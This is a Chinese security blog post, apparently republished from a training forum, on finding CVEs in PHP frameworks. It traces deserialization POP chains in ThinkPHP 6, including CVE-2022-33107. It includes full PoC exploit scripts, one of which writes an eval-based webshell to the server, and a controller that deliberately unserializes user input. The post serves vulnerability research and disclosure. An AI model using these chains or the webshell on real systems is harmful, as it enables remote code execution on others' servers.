【术业有专攻】如何获取知名框架CVE-PHP篇

渗透技巧 8个月前 admin
150 0 0
本文是i春秋论坛签约作家「N1RVAna」分享的技术文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
【术业有专攻】如何获取知名框架CVE-PHP篇

N1RVAna


一枚零零后的大一新生,擅长Web渗透方向,对网络安全领域有着浓厚的探索欲望。对未知充满了好奇,热衷于挑战,希望通过不断地摸索学习,快速提升实战技能。

该文章首发在i春秋论坛,欢迎各位师傅完成专业爱好者认证,可第一时间获取最新技术资讯和实战技能分享

【术业有专攻】如何获取知名框架CVE-PHP篇

(识别二维码,快速完成认证)

【术业有专攻】如何获取知名框架CVE-PHP篇

由于笔者想深入探索红队研究方向,因此本系列文章会涉及Web安全、渗透测试、漏洞挖掘、代码审计、内网渗透、二进制、密码等主题内容。

在这个系列中,我们会跟随笔者的步伐,一起探索领域内的基础知识和进阶技能,从而更好地学习和掌握各类网安知识点。无论你是初学者还是有一定经验的安全从业者,这个系列文章都将为你提供有价值的信息和实用技巧。

本文是《术业有专攻》系列的第一篇文章,让我们开始阅读学习吧。篇幅较长,用时大约12分钟。

【术业有专攻】如何获取知名框架CVE-PHP篇
知名PHP框架有:
https://www.phifans.com/a/96.html

这里选择利用ThinkPHP、Laravel进行讲解

ThinkPHP案例分享

既然要获取CVE,就要先了解CVE收取的漏洞类型有哪些:

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ThinkPHP

【术业有专攻】如何获取知名框架CVE-PHP篇

近几年的漏洞还是以POP Chains为主,其中CVE-2022-33107是我提交的一个CVE:
https://github.com/top-think/framework/issues/2717

首先,我们要学会挖CVE,下载最新版本的ThinkPHP,目前版本为ThinkPHP6.1.1

使用composer安装

https://github.com/top-think/framework

composer create-project topthink/think tp

POP Chain First

先添加好入口点

<?php
namespace appcontroller;
use appBaseController;
class Index extends BaseController
{
  public function index()
   
{
        $cmd=$_POST['cmd'];
        unserialize($cmd);
        echo $cmd;
    }
}

先找到入口点重灾区_destruct,选择abstract class AbstractCache中的_destruct

【术业有专攻】如何获取知名框架CVE-PHP篇

由于是abstract class
https://www.php.net/manual/zh/language.oop5.abstract.php

所以还需要找一个子类来进行实例化,选择class Adapter

【术业有专攻】如何获取知名框架CVE-PHP篇

入口点已经找到,$this->autosave可控,直接进入$this->save();跟进查看:

【术业有专攻】如何获取知名框架CVE-PHP篇

$contents通过$this->getForStorage();进行赋值,跟进查看:

【术业有专攻】如何获取知名框架CVE-PHP篇

其中$cleaned通过$this->cleanContents($this->cache);进行赋值,跟进查看:

【术业有专攻】如何获取知名框架CVE-PHP篇

进行了一些修改操作,但只需要传入一个一维数组便可以直接返回。继续回到`$this->getForStorage()

【术业有专攻】如何获取知名框架CVE-PHP篇

返回了JSON ENCODE的数组,其中三个参数均可控,也就是第一次的$contents内容可控,只是数据类型。

继续回到save()函数中:

【术业有专攻】如何获取知名框架CVE-PHP篇

$this->adapter变量可控,也就是可以调用到任意类的has函数让其返回fasle,调用到下面的write函数,全局搜索拥有has和write函数的类,这里利用class Local

同时具备这两个条件:

【术业有专攻】如何获取知名框架CVE-PHP篇【术业有专攻】如何获取知名框架CVE-PHP篇

利用$this->applyPathPrefix($path);给$location赋值,利用file_exists判断文件是否存在,applyPathPrefix()只是对文件进行了一些切片操作不再跟进查看,随便传入一个没有的文件让其返回false

接着进入到了write函数(此处调用Local类的write函数也是有要求的,注意看其中传入的三个参数),可以看到敏感函数file_put_contents,其中$this->applyPathPrefix、$this->ensureDirectory对目录进行了一些切片操作,不再跟进查看,上面分析得出$contents可控。所以便可以直接写入文件

构造Poc

<?php
namespace LeagueFlysystemAdapter;
class Local{}
namespace LeagueFlysystemCachedStorage;
use LeagueFlysystemAdapterLocal;
abstract class AbstractCache{
    protected $autosave;
    protected $cache = [];
}
class Adapter extends AbstractCache{
    protected $adapter;
    protected $file;
    function __construct(){
        $this->autosave=false;
        $this->adapter=new Local();
        $this->file='huahua.php';
        $this->cache=['huahua'=>'<?php eval($_GET[1]);?>'];
    }
}
$o = new Adapter();
echo urlencode(serialize($o));

?>

【术业有专攻】如何获取知名框架CVE-PHP篇

成功后,发送访问其huahua.php成功getshell

【术业有专攻】如何获取知名框架CVE-PHP篇

CVE-2022-33107案例讲解

环境配置(tp6只支持用composer安装) composer create-project topthink/think=6.0.12 tp612 添加反序列化入口

【术业有专攻】如何获取知名框架CVE-PHP篇

挖掘过程

@Morouu师傅的链子调用到了任意类的_call方法,并且可以传入一个可控的参数,我们继续搜索_call函数看看还有没有其他利用点,定位到了Output类中的_call方法。

【术业有专攻】如何获取知名框架CVE-PHP篇

满足$method在$this->style中即可调用到自身的block()函数,跟进查看:

【术业有专攻】如何获取知名框架CVE-PHP篇

调用了$this->writelen()并且$message参数可控,接着又调用了$this->write()函数($message参数可控),继续跟进。

【术业有专攻】如何获取知名框架CVE-PHP篇

这里调用到了任意类的write()方法,全局搜索write()方法,选择了LeagueFlysystemFile类中的write()方法。

【术业有专攻】如何获取知名框架CVE-PHP篇

这里同样可以调用到任意类的write()方法,并且可控参数变成了两个($content就是我们传入的$message),继续搜索write()方法,并且传入参数小于等于两个,这里选择了thinksessiondriverFile类中的write()方法。

【术业有专攻】如何获取知名框架CVE-PHP篇

传入参数恰好是两个,绕过if条件,不压缩传入的payload,进入$this->writeFile()方法,并且两个参数全部可控,跟进查看:

【术业有专攻】如何获取知名框架CVE-PHP篇

直接执行了file_put_contents()任意文件写入,成功RCE。

exp构造

接下来构造exp,利用@Morouu师傅的链子进行修改。前面的链子不用动,从调用_call方法的链子进行修改,首先调用thinkconsole_call方法,$this->style赋值[‘getDomainBind’]进入block方法。【术业有专攻】如何获取知名框架CVE-PHP篇【术业有专攻】如何获取知名框架CVE-PHP篇

跟进write()方法,这里调用LeagueFlysystemFile类的write方法,将$this->handle赋值new LeagueFlysystemFile。

【术业有专攻】如何获取知名框架CVE-PHP篇

这里调用thinksessiondriverFile的write()方法,将$this->filesystem赋值new thinksessiondriverFile。

【术业有专攻】如何获取知名框架CVE-PHP篇

跟进$this->getFileName()函数,看看如何给$filename赋值:

【术业有专攻】如何获取知名框架CVE-PHP篇

让$this->config[‘prefix’]为空,进入if条件,只拼接sess_前缀,$this->config[‘path’]也为空,写入根目录,然后return $filename,继续往下看:

【术业有专攻】如何获取知名框架CVE-PHP篇

让$this->config[‘data_compress’]为False不进入if条件进行数据压缩,跟进$this->writeFile($filename, $data);便直接写入。

【术业有专攻】如何获取知名框架CVE-PHP篇

构造完整exp

<?php  
namespace thinkmodelconcern{  
    trait Attribute{  
        private $data = ['huahua'];
    }  
}  

namespace thinkviewdriver{  
    class Php{}  
}
namespace thinksessiondriver{
    class File{

    }
}
namespace LeagueFlysystem{
    class File{
        protected $path;
        protected $filesystem;
        public function __construct($File){
            $this->path='huahua.php';
            $this->filesystem=$File;
        }
    }
}
namespace thinkconsole{
    use LeagueFlysystemFile;
    class Output{
        protected $styles=[];
        private $handle;
        public function __construct($File){
            $this->styles[]='getDomainBind';
            $this->handle=new File($File);
        }
    }
}  
namespace think{  
    abstract class Model{  
        use modelconcernAttribute;  
        private $lazySave;  
        protected $withEvent;  
        protected $table;  
        function __construct($cmd,$File){  
            $this->lazySave = true;  
            $this->withEvent = false;  
            $this->table = new routeUrl(new Middleware,new consoleOutput($File),$cmd);  
        }  
    }  
    class Middleware{  
        public $request = 2333;  
    }   
}  

namespace thinkmodel{  
    use thinkModel;  
    class Pivot extends Model{}   
}  

namespace thinkroute{  
    class Url  
    {  
        protected $url = 'a:';  
        protected $domain;  
        protected $app;  
        protected $route;  
        function __construct($app,$route,$cmd){  
            $this->domain = $cmd;  
            $this->app = $app;  
            $this->route = $route;  
        }  
    }  
}  

namespace{  
    echo urlencode(serialize(new thinkModelPivot('<?php phpinfo(); exit(); ?>',new thinksessiondriverFile)));  
}

成功写入

【术业有专攻】如何获取知名框架CVE-PHP篇

总 结

本篇文章偏向于代码审计,希望大家在阅读时能感受到它的魅力。同时,也强烈建议新手朋友们好好掌握编程知识,这样在以后的攻防实战演练中会有很好的应用!学习过程中难免会遇到疑问,推荐到i春秋的学习交流群~

【术业有专攻】如何获取知名框架CVE-PHP篇
【术业有专攻】如何获取知名框架CVE-PHP篇

(联系管理员,拉您进群)

在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!

【术业有专攻】如何获取知名框架CVE-PHP篇

戳这里,进入论坛获取更多知识

原文始发于微信公众号(i春秋):【术业有专攻】如何获取知名框架CVE-PHP篇

版权声明:admin 发表于 2023年9月5日 下午6:11。
转载请注明:【术业有专攻】如何获取知名框架CVE-PHP篇 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...